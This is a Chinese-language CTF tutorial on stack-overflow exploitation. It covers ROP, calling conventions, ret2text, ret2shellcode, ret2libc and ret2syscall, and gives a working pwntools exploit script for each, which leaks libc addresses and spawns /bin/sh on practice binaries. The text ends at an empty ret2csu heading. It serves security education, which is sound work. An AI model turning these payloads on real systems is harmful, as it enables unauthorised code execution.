栈…溢出来了…到哪里?

概念储备

ret2xxx

ret2xxx (return to xxx) 是一类典型的栈溢出漏洞题型,其基本原理是利用栈溢出,覆盖返回地址,使程序执行到我们想要的地方。一般来说常见的有ret2text, ret2shellcode, ret2syscall, ret2libc, ret2csu等等。

R.O.P

R.O.P (Return Oriented Programming) 是一种利用程序中已有的代码片段来构造攻击的方法。简单来说,ROP就是将源程序中散落的汇编程序片段(也称gadget)“拼接”在一起,使其能够为攻击者服务。

传参方式

32位

32位程序的传参方式是栈传参,即将参数从右往左依次压入栈中,然后调用函数,函数从栈中依次弹出参数。

假设调用函数func(1, 2, 3),则汇编为:

push    3
push    2
push    1
call    func

64位

64位程序的传参方式是寄存器传参,即将参数依次存入寄存器中,然后调用函数,函数从寄存器中依次取出参数。

前六个参数依次存入寄存器rdi, rsi, rdx, rcx, r8, r9中,第七个参数开始压栈。

假设调用函数func(1, 2, 3, 4, 5, 6, 7, 8, 9),则汇编为:

push    9
push    8
push    7
mov     r9, 6
mov     r8, 5
mov     rcx, 4
mov     rdx, 3
mov     rsi, 2
mov     rdi, 1
call    func

ret2text

ret2text是最简单的一种,其原理是利用栈溢出,覆盖返回地址,使程序执行到某个函数的开头,从而达到执行该函数的目的。

例题

如第二章中提到的 [CNSS Recruit 2023] StackOverFlow 就是一道最基础的ret2text题,利用栈溢出,覆盖返回地址,使程序执行到准备好的backdoor函数,从而getshell。

这里演示另一个需要利用ROP链自己传参的例题:

[CNSS Recruit 2023] Unlock My Heart

程序启动后调用了一个栈溢出函数:

图 0

有一个后门函数,但是需要传参进去:

图 1

还有一个函数可以设置全局变量:

图 2

那么思路就很明确了,先设置全局变量为/bin/sh\0,然后调用后门函数,传参为114514和全局变量的地址。

如上面所说,64位程序的前两个参数分别为rdirsi,所以我们需要一个ROP链,如pop rdi; pop rsi; ret。这种链怎么找呢?我们一般使用ROPgadget等工具来找。

ROPgadget --binary ./pwn --only "mov|pop|ret"

图 3

于是我们就可以构造payload了。

# 溢出到ret
payload = cyclic(0x10 + 8)
# 调用setName
payload += p64(elf.sym['setName'])
# 调用 pop rdi; pop rsi; ret
payload += p64(0x40128c)
# 设置参数
payload += p64(114514) + p64(elf.sym['name'])
# 为了栈平衡,调用 ret
payload += p64(0x40101a)
# 调用 backdoor
payload += p64(elf.sym['B4ckdo0r'])
r.sendlineafter(b'\n', payload)

# 发送 /bin/sh
r.sendlineafter(b'\n', b'/bin/sh\x00')

ret2shellcode

ret2shellcode可以说是比较古早的一种利用方式了,其原理是利用栈溢出,覆盖返回地址,使程序执行到我们准备好的shellcode,从而getshell。但是现在的程序基本都有NX之类的保护,无法直接执行shellcode,所以这种方法已经很少用了。

例题

[jarvisoj] level1

图 4

保护全关,有shellcode执行的前提条件。

图 5

思路比较清晰,我们直接往buf中写上shellcode,然后栈溢出覆盖返回地址为buf的地址,就可以执行shellcode了。

r.recvuntil(b':')
buf_addr = int(r.recvuntil(b'?', drop=True), 16)
log.info('buf_addr: ' + hex(buf_addr))

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88 + 4, b'\x00')
payload += p32(buf_addr)
r.sendlineafter(b'\n', payload)

r.interactive()

ret2libc

ret2libc是一种利用libc中函数的方法。一般来说,linux下的程序都会动态链接libc,所以即使程序本身没有system等函数,我们也可以利用libc中的system函数来getshell。

如果题目没有给你远程对应版本的libc,那么我们可以通过 https://libc.nullbyte.cat/https://libc.blukat.me/ 等网站来查找对应版本的libc。

例题

点击下载附件

图 6

程序中没有system函数,但是有puts函数,所以我们可以利用puts函数来泄露libc基址,然后计算system函数的地址,再次利用栈溢出,调用system函数,getshell。

第零回:必需的ROP和偏移

首先,要调用puts,我们需要一个pop rdi; ret的gadget。为了栈平衡,我们还需要一个ret

ROPgadget --binary ./pwn --only "pop|ret"

图 8

我们还需要知道libc中putssystem的偏移来计算libc基址和system的地址,这里我们可以通过readelf来查看。/bin/sh字符串的偏移可以通过ROPgadget来查看。

readelf -s libc.so.6 | grep -E "puts|system"
ROPgadget --binary ./libc.so.6 --string "/bin/sh"

图 10

也可以直接在脚本中计算:

from pwn import *

libcName = './libc.so.6'
libc = ELF(libcName)
puts_offset = libc.sym['puts']
system_offset = libc.sym['system']
binsh_offset = next(libc.search(b'/bin/sh'))

第一回:got表拿下libc基址

got表中存放着程序中需要动态链接的函数的地址,我们可以通过泄露got表中的puts函数的地址,计算出libc基址。

payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main']) # 执行完puts再返回漏洞函数
r.sendline(payload)
r.recvuntil('\n')

puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"""puts_addr: {hex(puts_addr)}
libc_base: {hex(libc_base)}
system_addr: {hex(system_addr)}
binsh_addr: {hex(binsh_addr)}""")

图 9

第二回:ret2libc直接getshell

有了libc基址和system函数的地址,我们就可以构造payload了。

payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret) # 栈平衡
payload += p64(system_addr)
r.sendline(payload)

完整payload

pop_rdi_ret = 0x0000000000400753
ret = 0x0000000000400509

payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
r.sendline(payload)
r.recvuntil(b'\n')

puts_addr = u64(r.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"""puts_addr: {hex(puts_addr)}
libc_base: {hex(libc_base)}
system_addr: {hex(system_addr)}
binsh_addr: {hex(binsh_addr)}""")

payload = cyclic(0x70 + 8)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
r.sendline(payload)

r.interactive()

ret2syscall

ret2syscall是一种利用syscall指令的方法。syscall指令是linux下的系统调用指令,可以直接调用系统函数,而不需要利用system等函数。

下面是syscall的传参方式:

rax: 系统调用号(如0x3b为execve)
rdi、rsi、rdx、……: 传给系统调用函数的参数(如execve(“/bin/sh”, 0, 0),则rdi为"/bin/sh"的地址,rsi和rdx为0)

例题

[Yulin Recruit 2023] basicROP

主要函数:

图 13

图 12

第一个函数看起来复杂,其实是固定了栈的地址。vuln函数则是栈溢出。没看见有system,于是用ROPGadget查了一下,发现有syscall

图 14

于是我们就可以利用syscall来getshell了。但是我们还需要一个/bin/sh\x00字符串,由于栈的地址是固定的,我们可以在输入的时候把/bin/sh\x00读到变量里(也就是栈上)然后调试一下,找到/bin/sh\x00的地址,然后构造payload。

syscall = 0x0000000000401215
pop_rax = 0x0000000000401213
pop_rdi = 0x0000000000401211
pop_rsi = 0x000000000040120f
pop_rdx = 0x000000000040120d
v1_addr = 0xdeacfa0 # 变量v1的地址,也就是/bin/sh\x00的地址
ret = 0x000000000040101a

payload = b'/bin/sh\x00'
payload += cyclic(88 - len(payload))
payload += p64(pop_rax) + p64(59) # execve
payload += p64(pop_rdi) + p64(v1_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall) # execve("/bin/sh", 0, 0)

r.sendlineafter('name:', payload)
r.interactive()

ret2csu